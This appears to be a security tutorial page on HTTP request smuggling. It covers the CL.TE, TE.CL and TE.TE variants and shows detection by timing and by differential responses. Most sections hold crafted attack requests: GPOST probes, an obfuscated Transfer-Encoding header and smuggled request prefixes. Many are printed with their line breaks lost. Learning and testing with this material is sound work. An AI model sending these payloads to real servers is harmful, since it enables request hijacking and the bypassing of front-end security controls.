HTTP Request Smuggling

HTTP Request Smuggling

Most HTTP request smuggling vulnerabilities arise because the HTTP specification provides two different ways to specify where a request ends: the Content-Length header and the Transfer-Encoding header.

How to perform an HTTP request smuggling attack Request smuggling attacks involve placing both the Content-Length header and the Transfer-Encoding header into a single HTTP request and manipulating these so that the front-end and back-end servers process the request differently. The exact way in which this is done depends on the behavior of the two servers:

Test in order

  • CL.TE: the front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header.

POST / HTTP/1.1Host: vulnerable-website.Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 6Transfer-Encoding: chunked​0​G   *next request goes here*

if response is "Unrecognized method GPOST" server vulnerable

  • TE.CL: the front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header.

POST / HTTP/1.1Host: your-lab-id.web-security-academy.netContent-Type: application/x-www-form-urlencodedContent-length: 4Transfer-Encoding: chunked​5cGPOST / HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 15​x=10

You need to include the trailing sequence \r\n\r following the final 0.

if response is "Unrecognized method GPOST" server vulnerable

  • TE.TE: the front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.

POST / HTTP/1.1Host: your-lab-id.web-security-academy.netContent-Type: application/x-www-form-urlencodedContent-length: 4Transfer-Encoding: chunkedTransfer-encoding: cow​5cGPOST / HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 15​x=10

You need to include the trailing sequence \r\n\r following the final 0.

if response is "Unrecognized method GPOST" server vulnerable

Finding HTTP request smuggling vulnerabilities using timing techniques

  • Finding CL.TE vulnerabilities using timing techniques If an application is vulnerable to the CL.TE variant of request smuggling, then sending a request like the following will often cause a time delay:

POST / HTTP/1.1Host: vulnerable-website.comTransfer-Encoding: chunkedContent-Length: 4​1AX

Since the front-end server uses the Content-Length header, it will forward only part of this request, omitting the X. The back-end server uses the Transfer-Encoding header, processes the first chunk, and then waits for the next chunk to arrive. This will cause an observable time delay.

  • Finding TE.CL vulnerabilities using timing techniques If an application is vulnerable to the TE.CL variant of request smuggling, then sending a request like the following will often cause a time delay:

POST / HTTP/1.1Host: vulnerable-website.comTransfer-Encoding: chunkedContent-Length: 6​0​X

Since the front-end server uses the Transfer-Encoding header, it will forward only part of this request, omitting the X. The back-end server uses the Content-Length header, expects more content in the message body, and waits for the remaining content to arrive. This will cause an observable time delay.

Confirming HTTP request smuggling vulnerabilities using differential responses

When a probable request smuggling vulnerability has been detected, you can obtain further evidence for the vulnerability by exploiting it to trigger differences in the contents of the application's responses. This involves sending two requests to the application in quick succession:

An "attack" request that is designed to interfere with the processing of the next request. A "normal" request. If the response to the normal request contains the expected interference, then the vulnerability is confirmed.

For example, suppose the normal request looks like this:

POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 11

q=smuggling

This request normally receives an HTTP response with status code 200, containing some search results.

The attack request that is needed to interfere with this request depends on the variant of request smuggling that is present: CL.TE vs TE.CL.

Confirming CL.TE vulnerabilities using differential responses

To confirm a CL.TE vulnerability, you would send an attack request like this:

POST /search HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 49Transfer-Encoding: chunked​eq=smuggling&x=0​GET /404 HTTP/1.1Foo: x

If the attack is successful, then the last two lines of this request are treated by the back-end server as belonging to the next request that is received. This will cause the subsequent "normal" request to look like this:

GET /404 HTTP/1.1Foo: xPOST /search HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 11​q=smuggling

Since this request now contains an invalid URL, the server will respond with status code 404, indicating that the attack request did indeed interfere with it.

Confirming TE.CL vulnerabilities using differential responses

To confirm a TE.CL vulnerability, you would send an attack request like this:

POST /search HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 4Transfer-Encoding: chunked​7cGET /404 HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 144​x=0

If the attack is successful, then everything from GET /404 onwards is treated by the back-end server as belonging to the next request that is received. This will cause the subsequent "normal" request to look like this:

GET /404 HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 146​x=0​POST /search HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 11​q=smuggling

Since this request now contains an invalid URL, the server will respond with status code 404, indicating that the attack request did indeed interfere with it.

Last updated